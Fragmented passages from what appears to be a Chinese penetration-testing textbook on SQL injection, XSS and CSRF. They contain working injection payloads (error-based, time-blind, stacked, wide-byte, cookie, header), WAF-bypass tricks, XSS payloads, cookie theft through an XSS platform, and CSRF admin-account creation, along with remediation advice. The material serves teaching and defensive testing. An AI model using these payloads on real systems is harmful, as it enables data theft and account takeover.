    {"text": "' and updatexml（1,concat（0x7e,（select schema_name from information_schema.schemata limit 0,1）,0x7e）,1）--+ 结果如图4-33所示，可以获取数据库的库名。 图4-33 利用报错注入获取数据库库名 如图4-34所示，构造查询表名的语句，如下所示，可以获取数据库test的表名。 'and updatexml（1,concat（0x7e,（select table_name from information_schema.tables where table_schema='test' limit 0,1）,0x7e）,1）--+ 图4-34 利用报错注入获取数据库表名 4.1.9 报错注入代码分析 在报销注入页面中，程序获取GET参数username后，将username拼接到SQL语句中，然后到数据库查询。"},
    {"text": "所以判断数据库库名长度的语句应为： if （length（database（））>1,sleep（5）,1） 上面这行语句的意思是，如果数据库库名的长度大于1，则MySQL查询休眠5秒，否则查询1。"},
    {"text": "图4-35 利用时间盲注执行sleep（） 可以看出，页面的响应时间是5267毫秒，也就是5.267秒，表明页面成功执行了sleep（5），所以长度是大于1的，我们尝试将判断数据库库名长度语句中的长度改为10，结果如图4-36所示。 图4-36 利用时间盲注执行select 1 可以看出，执行的时间是0.404秒，表明页面没有执行sleep（5），而是执行了select 1，所以数据库的库名长度大于10是错误的。"},
    {"text": "查询语句跟Boolean盲注的类似，使用substr函数，这时的语句应修改为： if（substr（database（）,1,1）='s',sleep（5）,1） 结果如图4-37所示。 图4-37 利用时间盲注获取库名 可以看出，程序延迟了5秒才返回，说明数据库库名的第一位字母是s，依此类推即可得出完整的数据库的库名、表名、字段名和具体数据。"},
    {"text": "4.2.2 时间注入代码分析 在时间注意注入页面中，程序获取GET参数ID，通过preg_match判断参数ID中是否存在Union危险字符，然后将参数ID拼接到SQL语句中。"},
    {"text": "从数据库中查询SQL语句，如果有结果，则返回yes，否则返回no。 当访问该页面时，代码根据数据库查询结果返回yes或no，而不返回数据库中的任何数据，所以页面上只会显示yes或no，和Boolean注入不同的是，此处没有过滤sleep等字符，代码如下所示。"},
    {"text": "当访问id=1' and if（ord（substring（user（）,1,1））=114,sleep（3）,1）%23时，执行的SQL语句为： select * from users where `id`='1' and if（ord（substring（user（）,1,1））=114,sleep （3）,1）%23 由于user（）为root,root第一个字符’r’的ASCII值是114，所以SQL语句中if条件成立，执行sleep（3），页面会延迟3s，通过这种延迟即可判断SQL语句的执行结果。"},
    {"text": "堆叠注入的语句为： ';select if（substr（user（）,1,1）='r',sleep（3）,1）%23 从堆叠注入语句中可以看到，第二条SQL语句（select if（substr（user（）,1,1）='r',sleep（3）,1）%23）就是时间盲注的语句，执行结果如图4-38所示。"},
    {"text": "图4-38 利用堆叠注入获取数据 后面获取数据的操作与时间注入的一样，通过构造不同的时间注入语句，可以得到完整的数据库的库名、表名、字段名和具体数据。"},
    {"text": "';select if（substr（（select table_name from information_schema.tables where table_schema=database（）limit 0,1）,1,1）='e',sleep（3）,1）%23 结果如图4-39所示。"},
    {"text": "图4-39 利用堆叠注入获取表名 4.2.4 堆叠查询注入代码分析 在堆叠注入页面中，程序获取GET参数ID，使用PDO的方式进行数据查询，但仍然将参数ID拼接到查询语句，导致PDO没起到预编译的效果，程序仍然存在SQL注入漏洞，代码如下所示。"},
    {"text": "使用PDO执行SQL语句时，可以执行多语句，不过这样通常不能直接得到注入结果，因为PDO只会返回第一条SQL语句执行的结果，所以在第二条语句中可以用update更新数据或者使用时间盲注获取数据。"},
    {"text": "访问dd.php?id=1';select if（ord（substring （user（）,1,1））=114,sleep（3）,1）;%23时，执行的SQL语句为： SELECT * FROM users where `id`='1';select if（ord（substring（user（）,1,1））=114,sleep （3）,1）;# 此时SQL语句分为了两条，第一条SELECT*FROM users where`id`='1’是代码自己的select查询，而select if（ord（substring（user（）,1,1））=114,sleep（3）,1）;#则是我们构造的时间盲注的语句。"},
    {"text": "4.2.5 二次注入攻击 二次注入攻击的测试地址：http://www.ccctf.cn/er/1.php?username=test和http://www.ccctf.cn/er/2.php?id=10。"},
    {"text": "第一步，访问1.php?username=test'，如图4-40所示。 图4-40 注册用户名test' 从页面返回结果可以看到用户名test’对应的ID为21，访问2.php?id=21，结果如图4-41所示。 图4-41 访问test'的信息 从返回结果可以看到服务端返回了MySQL的错误（多了一个单引号引起的语法错误），这时回到第一步，先访问1.php?username=test'order by 1%23，获取一个新的id=32，当再次访问2.php?id=32时，页面返回空白； 再次尝试，访问1.php?username=test' order by 10%23，获取一个新的id=33，当再访问2.php?id=33时，页面返回错误信息（Unknown column'10'in'order clause'），如图4-42所示。 这说明空白页面就是正常返回，通过不断的尝试，笔者判断出数据库表中一共有3个字段。 访问1.php?username=test'union select 1,2,3%23，获取一个新id=39，再访问2.php?id=39，发现页面返回了union select中的2和3字段，结果如图4-43所示。 图4-42 访问order by 10的结果 图4-43 使用Union语句的结果 在2或3的位置，插入我们的语句，比如访问1.php?id=test'union select 1,user（）,3%23，获得新的id=40，再访问2.php?id=40，得到user（）的结果，如图4-44所示，使用此方法就可以获取数据库中的数据。 图4-44 利用二次注入获取数据 4.2.6 二次注入代码分析 二次注入中1.php页面的代码如下所示，实现了简单的用户注册功能，程序获取到GET参数username和参数password，然后将username和password拼接到SQL语句，使用insert语句插入数据库中。 由于参数username使用addslashes进行转义（转义了单引号，导致单引号无法闭合），参数password进行了MD5哈希，所以此处不存在SQL注入漏洞。 当访问username=test'&password=123456时，执行的SQL语句为： insert into users（`username`,`password`）values （'test\\'','e10adc3949ba59abbe56e057f20f883e'）。"},
    {"text": "图4-45 插入到数据库中的数据 在二次注入中，2.php中的代码如下所示，首先将GET参数ID转成int类型（防止拼接到SQL语句时，存在SQL注入漏洞），然后到users表中获取ID对应的username，接着到person表中查询username对应的数据。"},
    {"text": "但是此处没有对$username进行转义，在第一步中我们注册的用户名是test'，此时执行的SQL语句为： select * from person where `username`='test'' 单引号被带入SQL语句中，由于多了一个单引号，所以页面会报错。"},
    {"text": "访问id=1'，页面的返回结果如图4-46所示，程序并没有报错，反而多了一个转义符（反斜杠）。 图4-46 单引号被转义 从返回的结果可以看出，参数id=1在数据库查询时是被单引号包围的。 当传入id=1’时，传入的单引号又被转义符（反斜线）转义，导致参数ID无法逃逸单引号的包围，所以在一般情况下，此处是不存在SQL注入漏洞的。 不过有一个特例，就是当数据库的编码为GBK时，可以使用宽字节注入，宽字节的格式是在地址后先加一个%df，再加单引号，因为反斜杠的编码为%5c，而在GBK编码中，%df%5c是繁体字“連”，所以这时，单引号成功逃逸，报出MySQL数据库的错误，如图4-47所示。 图4-47 利用宽字节逃逸单引号的包围 由于输入的参数id=1'，导致SQL语句多了一个单引号，所以需要使用注释符来注释程序自身的单引号。 访问id=1%df'%23，页面返回的结果如图4-48所示，可以看到，SQL语句已经符合语法规范。 图4-48 利用注释符注释单引号 使用and 1=1和and 1=2进一步判断注入，访问id=1%df'and 1=1%23和id=1%df'and 1=2%23，返回结果如图4-49和图4-50所示。 图4-49 访问id=1%df'and 1=1%23时页面的结果 图4-50 访问id=1%df'and 1=2%23时页面的结果 当and 1=1程序返回正常时，and 1=2程序返回错误，所以判断该参数ID存在SQL注入漏洞，接着使用order by查询数据库表的字段数量，最后得知字段数为3，如图4-51所示。"},
    {"text": "与Union注入一样，此时的Union语句是union select 1,2,3，为了让页面返回Union查询的结果，需要把ID的值改为负数，结果如图4-52所示。 图4-52 结合Union注入 然后尝试在页面中2的位置查询当前数据库的库名（database（）），语句为： id=-1%df' union select 1,user（）,3,%23 返回的结果如图4-53所示。"},
    {"text": "select table_name from information_schema.tables where table_schema='sql' limit 0,1 但是此时，由于单引号被转义，会自动多出反斜杠，导致SQL语句出错，所以此处需要利用另一种方法：嵌套查询。"},
    {"text": "select table_name from information_schema.tables where table_schema=（select databse（））limit 0,1 可以看到，原本的table_schema=ꞌ sqlꞌ 变成了table_schema=（select database（）），因为select database（）的结果就是ꞌ sqlꞌ，这就是嵌套查询，结果如图4-54所示。 图4-54 获取数据库的表名 从返回结果可以看到，数据库的第一个表名是emails，如果想查询后面的表名，还需修改limit后的数字，这里不再重复。"},
    {"text": "select column_name from information_schema.columns where table_schema=（select database（））and table_name=（select table_name from information_schema.tables where table_schema=（select databse（））limit 0,1）limit 0,1 这里使用了三层嵌套，第一层是table_schema，它代表库名的嵌套，第二层和第三层是table_name的嵌套。"},
    {"text": "图4-55 获取数据库字段名 4.2.8 宽字节注入代码分析 在宽字节注入页面中，程序获取GET参数ID，并对参数ID使用addslashes（）转义，然后拼接到SQL语句中，进行查询，代码如下。 当访问id=1’时，执行的SQL语句为： SELECT * FROM users WHERE id='1\\'' 可以看到单引号被转义符“\\”转义，所以在一般情况下，是无法注入的，但由于在数据库查询前执行了SET NAMESꞌ GBKꞌ，将编码设置为宽字节GBK，所以此处存在宽字节注入漏洞。"},
    {"text": "发现URL中没有GET参数，但是页面返回正常，使用Burp Suite抓取数据包，发现cookie中存在id=1的参数，如图4-56所示。 图4-56 cookie数据 修改cookie中的id=1为id=1'，然后再次访问该URL，发现页面返回错误。 接下来，分别修改cookie中id=1为id=1 and 1=1和id=1 and 1=2，再次访问，判断该页面是否存在SQL注入漏洞，返回结果如图4-57和图4-58所示，得出cookie中的参数ID存在SQL注入的结论。"},
    {"text": "4.2.10 cookie注入代码分析 通过$_COOKIE能获取浏览器cookie中的数据，在cookie注入页面中程序通过$_COOKIE获取参数ID，然后直接将ID拼接到select语句中进行查询，如果有结果，则将结果输出到页面，代码如下所示。 这里可以看到，由于没有过滤cookie中的参数ID且直接拼接到SQL语句中，所以存在SQL注入漏洞。 当在cookie中添加id=1 union select 1,2,3%23时，执行的SQL语句为： select * from users where `id`=1 union select 1,2,3# 此时，SQL语句可以分为select*from users where`id`=1和union select 1,2,3两条，利用第二条语句（Union查询）就可以获取数据库中的数据。"},
    {"text": "从URL中可以看出，ID参数经过base64编码（%3d是=的URL编码格式），解码后发现ID为1，尝试加上一个单引号并一起转成base64编码，如图4-59所示。 图4-59 对1'进行base64编码 当访问id=1’编码后的网址时（http://ccctf.cn/sql/base64/base64.php?id=MSc%3d），页面返回错误。 1 and 1=1和1 and 1=2的base64编码分别为MSBhbmQgMT0x和MSBhbm QgMT0y，再次访问id=MSBhbmQgMT0x和id=MSBhbmQgMT0y，返回结果如图4-60和图4-61所示。 图4-60 访问id=MSBhbmQgMT0x的结果 图4-61 访问id=MSBhbmQgMT0y的结果 从返回结果可以看到，访问id=1 and 1=1时，页面返回与id=1相同的结果，而访问id=1 and 1=2时，页面返回与id=1不同的结果，所以该网页存在SQL注入漏洞。"},
    {"text": "4.2.12 base64注入代码分析 在base64注入页面中，程序获取GET参数ID，利用base64_decode（）对参数ID进行base64解码，然后直接将解码后的$id拼接到select语句中进行查询，通过while循环将查询结果输出到页面，代码如下所示。"},
    {"text": "当访问id=1 union select 1,2,3#（访问时，先进行base64编码）时，执行的SQL语句为： select * from users where `id`=1 union select 1,2,3# 此时SQL语句可以分为select*from users where`id`=1和union select 1,2,3两条，利用第二条语句（Union查询）就可以获取数据库中的数据。"},
    {"text": "这种攻击方式还有其他利用场景，例如，如果有WAF，则WAF会对传输中的参数ID进行检查，但由于传输中的ID经过base64编码，所以此时WAF很有可能检测不到危险代码，进而绕过了WAF检测。"},
    {"text": "通过Burp Suite抓取数据包容，可以看到HTTP请求头中有一个头部参数X-Forwarded-for。 X-Forwarded-For简称XFF头，它代表客户端真实的IP，通过修改X-Forwarded-for的值可以伪造客户端IP，将X-Forwarded-for设置为127.0.0.1，然后访问该URL，页面返回正常，如图4-62所示。 图4-62 XFF头 将X-Forwarded-for设置为127.0.0.1'，再次访问该URL，页面返回MySQL的报错信息，结果如图4-63所示。 图4-63 访问X-Forwarded-for:127.0.0.1'的结果 将X-Forwarded-for分别设置为127.0.0.1'and 1=1#和127.0.0.1'and 1=2#，再次访问该URL，结果如图4-64和图4-65所示。 图4-64 访问X-Forwarded-for:127.0.0.1' 图4-65 访问X-Forwarded-for:127.0.0.1' 通过页面的返回结果，可以判断出该地址存在SQL注入漏洞，接着可以使用order by判断表中的字段数量，最终测试出数据库中存在4个字段，尝试使用Union查询注入方法，语法是X-Forwarded-for:127.0.0.1'union select 1,2,3,4#，如图4-66所示。"},
    {"text": "4.2.14 XFF注入代码分析 PHP中的getenv（）函数用于获取一个环境变量的值，类似于$_SERVER或$_ENV，返回环境变量对应的值，如果环境变量不存在则返回FALSE。"},
    {"text": "使用以下代码即可获取客户端IP地址，程序先判断是否存在HTTP头部参数HTTP_CLIENT_IP，如果存在，则赋给$ip，如果不存在，则判断是否存在HTTP头部参数HTTP_X_FORWARDED_FOR，如果存在，则赋给$ip，如果不存在，则将HTTP头部参数REMOTE_ADDR赋给$ip。"},
    {"text": "当设置X_FORWARDED_FOR=1'union select 1,2,3%23时，执行的SQL语句为： select * from user where `ip`='1' union select 1,2,3#' 此时SQL语句可以分为select*from user where`id`='1’和union select 1,2,3两条，利用第二条语句（union查询）就可以获取数据库中的数据。"},
    {"text": "未知 4.3 SQL注入绕过技术 4.3.1 大小写绕过注入 大小写绕过注入的测试地址：http://ccctf.cn/sql/1.php?id=1。 访问id=1'，发现页面报出MySQL错误，当访问id=1 and 1=1时，页面返回“no hack”，显然是被拦截了，说明有关键词被过滤。使用关键字大小写的方式尝试绕过，如And 1=1（任意字母大小写都可以，如aNd 1=1,AND 1=1等），可以看到访问id=1 And 1=1时页面返回与id=1相同的结果，访问id=1 And 1=2时页面返回与id=1不同的结果，得出存在SQL注入漏洞的结论，如图4-67和图4-68所示。 图4-67 访问id=1 And 1=1的结果 图4-68 访问id=1 And 1=2的结果 使用order by查询字段数量，发现还是被拦截了，如图4-69所示，还是利用修改关键字大小写来绕过它，尝试只改order这个单词，结果发现当order改成Order后，页面显示正常，说明by并没有被拦截，如图4-70所示，最终通过尝试，发现数据库表中存在3个字段。 图4-69 order by被拦截 图4-70 Order by没被拦截 接着，使用Union方法完成此次注入，如果仍然遇到关键字被拦截，则尝试使用修改大小写的方式绕过拦截。 4.3.2 双写绕过注入 双写绕过注入的测试地址：http://ccctf.cn/sql/2.php?id=1。 访问id=1'，发现页面报出MySQL错误，接着访问id=1 and 1=1，页面依然报出MySQL的错误，但是从错误信息中可以看出，输入的and 1=1变成了1=1，如图4-71所示。 图4-71 关键字and被过滤 因此可以得知，关键字and被过滤了。这时尝试使用双写的方式绕过，如anandd 1=1，当and被过滤后，anandd变成了and，所以这时传入数据库的语句是and 1=1，结果如图4-72所示，成功执行并返回正常页面。 图4-72 关键字anandd被过滤后正确执行 接着，输入aandnd 1=2，返回错误信息，判断页面参数存在SQL注入漏洞。当访问id=1 order by 3时，MySQL的错误信息为“der by 3”，如图4-73所示，所以这里并没有过滤order整个单词，而是仅过滤or，因此只需要双写or即可，结果如图4-74所示。 图4-73 过滤了关键字or 图4-74 双写关键字or 后面的注入过程与Union注入的一致。 4.3.3 编码绕过注入 编码绕过注入的测试地址：http://ccctf.cn/sql/3.php?id=1。 访问id=1'，发现页面报出MySQL错误，接着访问id=1 and 1=1和id=1 and 1=2时，发现关键字and被拦截。尝试使用URL全编码的方式绕过拦截。由于服务器会自动对URL进行一次URL解码，所以需要把关键词编码两次，这里需要注意的地方是，URL编码需选择全编码，而不是普通的URL编码。如图4-75所示，关键字and进行两次URL全编码的结果是%25%36%31%25%36%65%25%36%34，访问id=1%25%36%31% 25%36%65%25%36%34 1=1时，页面返回与id=1相同的结果，如图4-76所示，访问id=1 %25%36%31%25%36%65%25%36%34 1=2时，页面返回与id=1不同的结果，如图4-77所示，所以该网址存在SQL注入漏洞。 图4-75 两次URL编码关键字and 图4-76 访问id=1 and 1=1时的结果 图4-77 访问id=1 and 1=2时的结果 后面的注入过程与Union注入的一致，只需判断过滤的关键词，并经过两次URL全编码即可。 4.3.4 内联注释绕过注入 内联注释绕过注入的测试地址：http://ccctf.cn/sql/4.php?id=1。 访问id=1'，发现页面报出MySQL错误，接着访问id=1 and 1=1和id=1 and 1=2时，发现页面提示“no hack”，即关键字被拦截。尝试使用内联注释绕过。内联注释的相关内容在介绍MySQL的知识点时讲解过。访问id=1/*!and*/1=1时，页面返回与id=1相同的结果；访问id=1/*!and*/1=2时，页面返回与id=1不同的结果，如图4-78和图4-79所示。 图4-78 访问id=1 /*!and*/1=1时的结果 图4-79 访问id=1 /*!and*/1=2时的结果 后面的注入过程与Union注入的一致。 4.3.5 SQL注入修复建议 常用的SQL注入漏洞的修复方法有两种。 1.过滤危险字符 多数CMS都采用过滤危险字符的方式，例如，采用正则表达式匹配union、sleep、load_file等关键字，如果匹配到，则退出程序。例如80sec的防注入代码，如下所示。 使用过滤的方式，在一定程度上可以防止SQL注入漏洞，但仍然存在被绕过的可能。 2.使用预编译语句 其实使用PDO预编译语句，需要注意的是，不要将变量直接拼接到PDO语句中，而是使用占位符进行数据库的增加、删除、修改、查询。"},
    {"text": "未知 4.4 XSS基础 4.4.1 XSS漏洞介绍 跨站脚本（Cross-Site Scripting，简称为XSS或跨站脚本或跨站脚本攻击）是一种针对网站应用程序的安全漏洞攻击技术，是代码注入的一种。"},
    {"text": "攻击方式：攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。 当目标用户访问该链接时，服务器接收该目标用户的请求并进行处理，然后服务器把带有XSS代码的数据发送给目标用户的浏览器，浏览器解析这段带有XSS代码的恶意脚本后，就会触发XSS漏洞。 2.存储型XSS 存储型XSS又称持久型XSS，攻击脚本将被永久地存放在目标服务器的数据库或文件中，具有很高的隐蔽性。 攻击方式：这种攻击多见于论坛、博客和留言板，攻击者在发帖的过程中，将恶意脚本连同正常信息一起注入帖子的内容中。"},
    {"text": "随着帖子被服务器存储下来，恶意脚本也永久地被存放在服务器的后端存储器中。 当其他用户浏览这个被注入了恶意脚本的帖子时，恶意脚本会在他们的浏览器中得到执行。"},
    {"text": "可以看到，存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中，所有访问这个页面的用户都将成为受害者。 如果我们能够谨慎对待不明链接，那么反射型XSS攻击将没有多大作为，而存储型XSS则不同，由于它注入在一些我们信任的页面，因此无论我们多么小心，都难免会受到攻击。"},
    {"text": "3.DOM型XSS DOM全称Document Object Model，使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。 DOM型XSS其实是一种特殊类型的反射型XSS，它是基于DOM文档对象模型的一种漏洞。"},
    {"text": "HTML DOM树结构如图4-80所示。 图4-80 HTML DOM树 在网站页面中有许多元素，当页面到达浏览器时，浏览器会为页面创建一个顶级的Document object文档对象，接着生成各个子文档对象，每个页面元素对应一个文档对象，每个文档对象包含属性、方法和事件。"},
    {"text": "可以通过JS脚本对文档对象进行编辑，从而修改页面的元素。 也就是说，客户端的脚本程序可以通过DOM动态修改页面内容，从客户端获取DOM中的数据并在本地执行。"},
    {"text": "4.4.3 反射型XSS攻击 页面http://192.168.1.101/xss/xss1.php实现的功能是在“输入”表单中输入内容，单击“提交”按钮后，将输入的内容放到“输出”表单中，例如当输入“11”，单击“提交”按钮时，“11”将被输出到“输出”表单中，效果如图4-81所示。 图4-81 输入参数被输出到页面 当访问http://192.168.1.101/xss/xss1.php?xss_input_value=\"><img src=1 onerror=alert（/xss/）/>时，输出到页面的HTML代码变为<input type=\"text\"value=\"\"><img src=1 onerror=alert（/xss/）/>\">，可以看到，输入的双引号闭合了value属性的双引号，输入的>闭合了input标签的<，导致输入的<img src=1 onerror=alert（/xss/）/>变成了HTML标签，如图4-82所示。 图4-82 输入XSS代码 接下来，在浏览器渲染时，执行了<img src=1 onerror=alert（/xss/）/>,JS函数alert（）导致浏览器弹框，显示“/xss/”，如图4-83所示。 图4-83 浏览器执行了XSS代码 4.4.4 反射型XSS代码分析 在反射型XSS PHP代码中，通过GET获取参数xss_input_value的值，然后通过echo输出一个input标签，并将xss_input_value的值放入input标签的value中。 当访问xss_input_value=\"><img src=1 onerror=alert（/xss/）/>时，输出到页面的HTML代码变为<input type=\"text\"value=\"\"><img src=1 onerror=alert（/xss/）/>\">，此段HTML代码有两个标签，<input>标签和<img>标签，而<img>标签的作用就是让浏览器弹框显示“/xss/”，代码如下所示。"},
    {"text": "4.4.5 储存型XSS攻击 储存型XSS页面实现的功能是：获取用户输入的留言信息、标题和内容，然后将标题和内容插入到数据库中，并将数据库的留言信息输出到页面上，如图4-84所示。"},
    {"text": "图4-84 输入留言信息 当用户在标题处写入1，内容处写入2时，数据库中的数据如图4-85所示。 图4-85 保存留言信息到数据库 当输入标题为<img src=X onerror=alert（/xss/）/>，然后将标题输出到页面时，页面执行了<img src=1 onerror=alert（/xss/）/>，导致弹出窗口。"},
    {"text": "图4-86 存储型XSS 4.4.6 储存型XSS代码分析 在存储型XSS的PHP代码中，获取POST参数title和参数content，然后将参数插入数据库表XSS中，接下来通过select查询将表XSS中的数据查询出来，并显示到页面上，代码如下所示。"},
    {"text": "当用户在标题处写入<img src=1 onerror=alert（/xss/）/>时，数据库中的数据如图4-87所示。 图4-87 存储到数据库中的XSS代码 当将title输出到页面时，页面执行了<img src=1 onerror=alert（/xss/）/>，导致弹窗。"},
    {"text": "4.4.7 DOM型XSS攻击 DOM型XSS攻击页面实现的功能是在“输入”框中输入信息，单击“替换”按钮时，页面会将“这里会显示输入的内容”替换为输入的信息，例如当输入“11”的时候，页面将“这里会显示输入的内容”替换为“11”，如图4-88和图4-89所示。"},
    {"text": "图4-88 HTML页面 图4-89 替换功能 当输入<img src=1 onerror=alert（/xsss/）/>时，单击“替换”按钮，页面弹出消息框，如图4-90所示。"},
    {"text": "图4-90 DOM XSS 从HTML源码中可以看到，存在JS函数tihuan（），该函数的作用是通过DOM操作将元素id1（输出位置）的内容修改为元素dom_input（输入位置）的内容，如图4-91所示。 图4-91 HTML源码 4.4.8 DOM型XSS代码分析 DOM型XSS程序只有HTML代码，并不存在服务器端代码，所以此程序并没有与服务器端进行交互，代码如下所示。 单击“替换”按钮时会执行JavaScript的tihuan（）函数，而tihuan（）函数是一个DOM操作，通过document.getElementById获取ID为id1的节点，然后将节点id1的内容修改成id为dom_input中的值，即用户输入的值。"},
    {"text": "当输入<img src=1 onerror=alert（/xsss/）/>时，单击“替换”按钮，页面弹出消息框，但由于是隐式输出的，所以在查看源代码时，看不到输出的XSS代码。"},
    {"text": "未知 4.5 XSS进阶 4.5.1 XSS常用语句及编码绕过 XSS常用的测试语句有： ● <script>alert（1）</script> ● <img src=x onerror=alert（1）> ● <svg onload=alert（1）> ● <a href=javascript:alert（1）> 常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码。 1.JS编码 JS提供了四种字符编码的策略，如下所示。 ● 三个八进制数字，如果个数不够，在前面补0，例如“e”的编码为“\\145”。 ● 两个十六进制数字，如果个数不够，在前面补0，例如“e”的编码为“\\x65”。 ● 四个十六进制数字，如果个数不够，在前面补0，例如“e”的编码为“\\u0065”。 ● 对于一些控制字符，使用特殊的C类型的转义风格（例如\\n和\\r）。 2.HTML实体编码 命名实体：以&开头，以分号结尾的，例如“<”的编码是“&lt;”。 字符编码：十进制、十六进制ASCII码或Unicode字符编码，样式为“&#数值；”,例如“<”可以编码为“&#060;”和“&#x3c;”。 3.URL编码 这里的URL编码，也是两次URL全编码的结果。如果alert被过滤，结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。 在使用XSS编码测试时，需要考虑HTML渲染的顺序，特别是针对多种编码组合时，要选择合适的编码方式进行测试。 4.5.2 使用XSS平台测试XSS漏洞 本书的第2章讲解过如何搭建XSS平台，本节介绍来讲如何使用XSS平台测试XSS漏洞。 首先在XSS平台注册账并登录，单击“我的项目”中的“创建”按钮，如图4-92所示。 图4-92 XSS平台首页 页面中的名称和描述是分类的，随意填写即可。勾选“默认模块”选项后单击“下一步”按钮，如图4-93所示。 图4-93 XSS平台模块 页面上显示了多种利用代码，在实际情况中，一般会根据HTML源码选择合适的利用代码，以此构造浏览器能够执行的代码，这里选择第一种利用代码，如图4-94所示。 图4-94 XSS平台可利用的攻击代码 将利用代码插入到存在XSS漏洞的URL后，查看源代码。发现浏览器成功执行XSS的利用代码，如图4-95所示。 图4-95 目标用户访问的恶意链接 回到XSS平台，可以看到我们已经获取了信息，其中包含来源地址、cookie、IP、浏览器等，如果用户处于登录状态，可修改cookie并进入该用户的账户，如图4-96所示。 图4-96 在XSS平台获取目标用户的cookie信息 4.5.3 XSS漏洞修复建议 因为XSS漏洞涉及输入和输出两部分，所以其修复也分为两种。 ● 过滤输入的数据，包括“'”“””“<”“>”“on*”等非法字符。 ● 对输出到页面的数据进行相应的编码转换，包括HTML实体编码、JavaScript编码等。 未知 推荐序 经过老友夜以继日、逐字逐句地编写，本书终于出版了，在这里首先表示感谢，感谢编者将多年的工作经验汇聚成书。我从事信息安全工作已经18年，对于想从事渗透测试工作的朋友来说，我认为本书确实是一本难得的良师秘籍。我在阅读完本书后，和老友说，我会将本书推荐到北京中安国发信息技术研究院“全国5A级信息安全人才培养”的教材体系和“国家信息安全保障人员认证应急服务实践操作考试参考教材目录”中去，老友回复道，“本书涉及的实验将会很快推出，所有配套的实验将放到红黑演义网络安全学院的云端实验平台上供大家练习。”届时，读者可以一边阅读一边实践，实乃一大幸事！ 我极力推荐专业从事渗透测试的人员、信息安全一线防护人员、网络安全厂商技术工程师、网络犯罪侦查与调查人员阅读本书，当然也推荐红黑演义网络安全院的2万名学员在想继续深造时学习本书配套的课程和实验。 具体的推荐理由有以下几点： 本书的实战性极强，比如在前期踩点阶段，“敏感信息收集”和“社会工程学”工作开展的细致程度就能体现出渗透者的阅历水平，如果这两方面的工作做好了，对后期提权和内网渗透的帮助就很大。 本书的进阶性好，实现了深入浅出地引导读者从入门到进阶，汇总了渗透测试工作中各种技术知识点的细微类型，渗透是否能够从里程碑直接到“黄龙府”，关键就在这些“细枝末节”上，我想这些地方对提高读者渗透水平的帮助应该是最大的。 本书对Web渗透技术原理的解读，透彻但不拖沓，对高效学习很有帮助，属于干货分享型。书中加入了大量绕过技术，这些技术在一些大型系统做了很多轮渗透之后再做渗透面临尴尬状态时特别有帮助。 本书介绍了一些在非常规渗透时用的技术和经验，比如“逻辑漏洞挖掘”“XXE漏洞”，这样的漏洞利用哪怕是在知名的Facebook、PayPal等网站上都引发过问题。尽管XXE漏洞已经存在了很多年，但是从来没有获得它应得的关注度。很多XML的解析器默认是含有XXE漏洞的，这意味着渗透测试人员应该去测试、验证它。 最后，本书还给出了常用工具和各式利器，并详细讲解了使用它们的技巧和步骤，这些工具会大大降低渗透测试人员的劳动强度，快速将客户的系统漏洞挖掘出来。 张胜生2018年4月12日于北京 北京中安国发信息技术研究院院长 工信部/教育部网络安全领域专家 省级产业教授/研究生导师 北京市级百名网络安全专家负责人 CISSP认证考试指南译者/资深讲师 中国信息安全认证中心应急服务人员认证体系牵头人"},
    {"text": "未知 4.6 CSRF漏洞 4.6.1 介绍CSRF漏洞 CSRF（Cross-site request forgery，跨站请求伪造）也被称为One Click Attack或者Session Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装成受信任用户请求受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）也难以防范，所以被认为比XSS更具危险性。 4.6.2 CSRF漏洞的原理 其实可以这样理解CSRF：攻击者利用目标用户的身份，以目标用户的名义执行某些非法操作。CSRF能够做的事情包括：以目标用户的名义发送邮件、发消息，盗取目标用户的账号，甚至购买商品、虚拟货币转账，这会泄露个人隐私并威胁到了目标用户的财产安全。 举个例子，你想给某位用户转账100元，那么单击“转账”按钮后，发出的HTTP请求会与http://www.xxbank.com/pay.php?user=xx&money=100类似。而攻击者构造链接（http://www.xxbank.com/pay.php?user=hack&money=100），当目标用户访问了该URL后，就会自动向Hack账号转账100元，而且这只涉及目标用户的操作，攻击者并没有获取目标用户的cookie或其他信息。 CSRF的攻击过程有以下两个重点。 ● 目标用户已经登录了网站，能够执行网站的功能。 ● 目标用户访问了攻击者构造的URL。 4.6.3 利用CSRF漏洞 CSRF漏洞经常被用来制作蠕虫攻击、刷SEO流量等。下面以蠕虫攻击为例，图4-97展示了一个博客系统发布文章的页面，接着单击“发布文章”按钮并使用Burp Suiet抓包。 图4-97 发布文章功能 可以看到在Burp Suite中，有一个自动构造CSRF PoC的功能（右击→Engagement tools→Generate CSRF PoC），如图4-98所示。 图4-98 Burp生成CSRF PoC Burp Suite会生成一段HTML代码，此HTML代码即为CSRF漏洞的测试代码，单击“Copy HTML”按钮，如图4-99所示。 图4-99 Burp生成的HTML代码 将CSRF测试代码发布到一个网站中，例如链接为http://xx.com/1.html，如图4-100所示。 图4-100 发布CSRF PoC到网站中 接着诱导目标用户访问http://xx.com/1.html，当目标用户处于登录状态，并且在同一浏览器访问了该网址后，目标用户就会自动发布一篇文章，如图4-101所示。这个攻击过程就是CSRF利用的过程。 图4-101 目标用户自动发布了文章 4.6.4 分析CSRF漏洞代码 下面的代码是后台添加用户的代码，执行的流程如下所示。 ● 获取GET参数username和参数password，然后通过select语句查询是否存在对应的用户，如果用户存在，会通过$_SESSION设置一个session:isadmin=admin，否则设置session:isadmin=guest。 ● 接下来判断session中的isadmin是否为admin，如果isadmin!=admin，说明用户没有登录，那么跳转到登录页面。所以只有在管理员登录后才能执行添加用户的操作。 ● 获取POST参数username和参数password，然后插入users表中，完成添加用户的操作。 当管理员访问了攻击者构造的CSRF页面后，会自动创建一个账号，CSRF利用代码如下。 此代码的作用是创建一个AJAX请求，请求的URL是http://xxx.com/csrf.php，参数是submit=1&username=1&password=1，从上述PHP代码中可以看到，此AJAX请求就是执行一个添加用户的操作，由于管理员已登录，所以管理员访问此链接后就会成功创建一个新用户。 4.6.5 CSRF漏洞修复建议 针对CSRF漏洞的修复，笔者给出以下这两点建议。 ● 